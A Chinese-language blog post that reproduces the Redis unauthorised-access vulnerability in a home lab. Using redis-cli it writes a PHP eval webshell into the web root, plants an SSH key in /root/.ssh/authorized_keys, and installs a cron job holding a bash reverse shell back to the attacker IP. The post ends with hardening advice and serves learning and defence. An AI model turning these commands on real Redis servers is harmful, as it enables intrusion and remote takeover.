Redis未授權漏洞復現

smileleooo發表於2024-05-01

目錄
  • Redis
  • 漏洞的產生條件及利用
  • Redis環境搭建
  • 漏洞復現
    • 利用Redis寫入Webshell
    • 利用Redis寫入SSH公鑰
    • 利用Redis寫入計劃任務
  • Redis安全防護

Redis

redis(remote dictionary server)是一個key-value儲存系統,是跨平臺的非關係型資料庫。

redis預設情況下,會繫結在0.0.0.0:6379,如果沒有采用相關的安全策略限制,redis服務會暴露在伺服器公網上。如果此時又沒有設定密碼認證(預設為空),會導致任意使用者在可以訪問目標伺服器的情況下未授權訪問redis以及讀取redis的資料。

漏洞的產生條件及利用

漏洞的影響版本

redis 2.x,3.x,4.x,5.x

漏洞的產生條件

1、redis繫結在0.0.0.0:6379,沒有采用相關的安全策略限制,直接暴露在公網。

2、沒有設定密碼認證,可以免密碼遠端登入redis服務。

漏洞如何利用

1、利用redis寫入webshell

2、利用redis寫入ssh公鑰

3、利用redis寫入計劃任務

Redis環境搭建

第一種方式:下載安裝符合漏洞版本的Redis並解壓,進入到Redis目錄中,執行make,透過make編譯的方式來安裝。

第二種方式:使用docker搭建vulhub靶場環境。

踩坑:

建議使用第一種方式,我用vulhub復現的時候存在redis不是root許可權啟動的問題:
設定路徑為/root/.ssh/時報錯:(error) ERR Changing directory: Permission denied
查閱相關文章,說redis並不是以root啟動的,可能需要修改docker-compose.yml配置以root使用者來執行容器、參考文章docker-compose privileged root,嘗試了設定privileged:true讓容器以root許可權執行,但是修改配置以後,重新構建環境失敗。

首先下載安裝符合漏洞利用的低版本Redis:

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

解壓安裝包:

tar xzf redis-2.8.17.tar.gz

進入redis目錄編譯安裝:

cd redis-2.8.17
make

make結束後,進入src目錄啟動服務:

cd src/
./redis-server ../redis.conf

image

可以看出redis服務6379已經啟動,nmap掃描到靶機的6379埠為open狀態。

image

如果nmap掃描到的6379埠沒有開放,需要關閉防火牆,雲主機還要在安全組開放埠。

漏洞復現

環境:Ubuntu靶機IP:192.168.88.150;Kali攻擊機IP:192.168.88.128

利用Redis寫入Webshell

服務端的redis預設沒有設定密碼認證,在攻擊機上能用redis-cli可以直接登陸連線。若服務端存在Web服務,並且知道Web目錄的路徑,那麼可以向該目錄寫入webshell,然後使用蟻劍之類的工具連線getshell。

攻擊機安裝redis-cli遠端連線工具:

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make

安裝完畢以後,進入src/目錄使用redis-cli登入:

redis-cli -h 目標主機ip

image

預設情況下requirepass引數是空的,也就是說預設情況下是無密碼驗證的,這就意味著無需透過密碼驗證就可以連線到redis服務。這是未授權訪問的利用的條件之一。

image

nmap探測到靶機開啟了Web伺服器。

image

已知Web目錄的路徑為/var/www/html。

將dir設定為/var/www/html目錄,意為將指定本地資料庫存放目錄設定為/var/www/html。將dbfilename設定為檔名shell.php,即指定本地資料庫檔名為shell.php。再執行save命令就可以寫入一個路徑為/var/www/html/shell.php的檔案。

image

寫webshell的時候,可以使用:

set webshell "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"

\r\n\r\n代表換行的意思,用redis寫入檔案的會自帶一些版本資訊,如果不換行可能會導致無法執行。

進入靶機檢視,如下圖所示說明webshell寫入成功。

image

使用蟻劍連線成功:

image

利用Redis寫入SSH公鑰

透過redis向目標伺服器寫入ssh公鑰,將公鑰放到linux系統的/root/.ssh/authorized_keys的檔案中,本地客戶端透過匯入對應私鑰進行登陸。

條件是服務端存在.ssh目錄並且有寫入的許可權,並且需要redis是root啟動的情況下使用,因為非root許可權無法進入/root目錄。

首先在攻擊機的/root/.ssh目錄裡生成ssh公鑰key:

cd ~/.ssh
ssh-keygen -t rsa

image

接著將公鑰寫入key.txt檔案(前後用\n換行,避免和Redis裡其他快取資料混合):

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt

連線目標伺服器上的redis服務,將儲存的公鑰key.txt寫入redis資料庫:

cat /root/.ssh/key.txt | redis-cli -h 192.168.88.150 -x set pkey

使用redis-cli -h ip,將檔案寫入:

image

連線目標機器redis,設定redis的路徑為/root/.ssh/和儲存檔名為authorized_keys,然後儲存。

config set dir /root/.ssh
config set dbfilename authorized_keys

image

ssh利用私鑰成功登入。

image

利用Redis寫入計劃任務

和寫webshell和ssh公鑰的原理類似,連線服務端的Redis,寫入反彈shell的計劃任務:

config set dir /var/spool/cron/crontabs
config set dbfilename root
set x "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.88.128/12345 0>&1\n\n"
save

然後kali上監聽12345埠:

nc -lvp 12345

雖然靶機被寫入反彈命的定時任務,但是kali上一直沒有收到:

image

檢視crontab的日誌輸出了 cron[808]: (root) INSECURE MODE (mode 0600 expected) (crontabs/root)

image

原因:因為預設redis寫檔案後是644的許可權,但ubuntu要求執行定時任務檔案/var/spool/cron/crontabs/許可權必須是600才會執行,否則就會報錯(root) INSECURE MODE (mode 0600 expected)。

所以這個方法在Ubuntu上行不通。

綜上無法利用的原因可能有:redis不是以root許可權啟動,沒有可以寫入檔案的路徑或許可權,檔案許可權不足等。

Redis安全防護

1、禁止監聽在公網地址

2、修改預設的監聽埠

3、開啟redis安全認證

4、禁止用root許可權啟動

5、設定redis配置檔案的訪問許可權


若有錯誤,歡迎指正!o( ̄▽ ̄)ブ

相關文章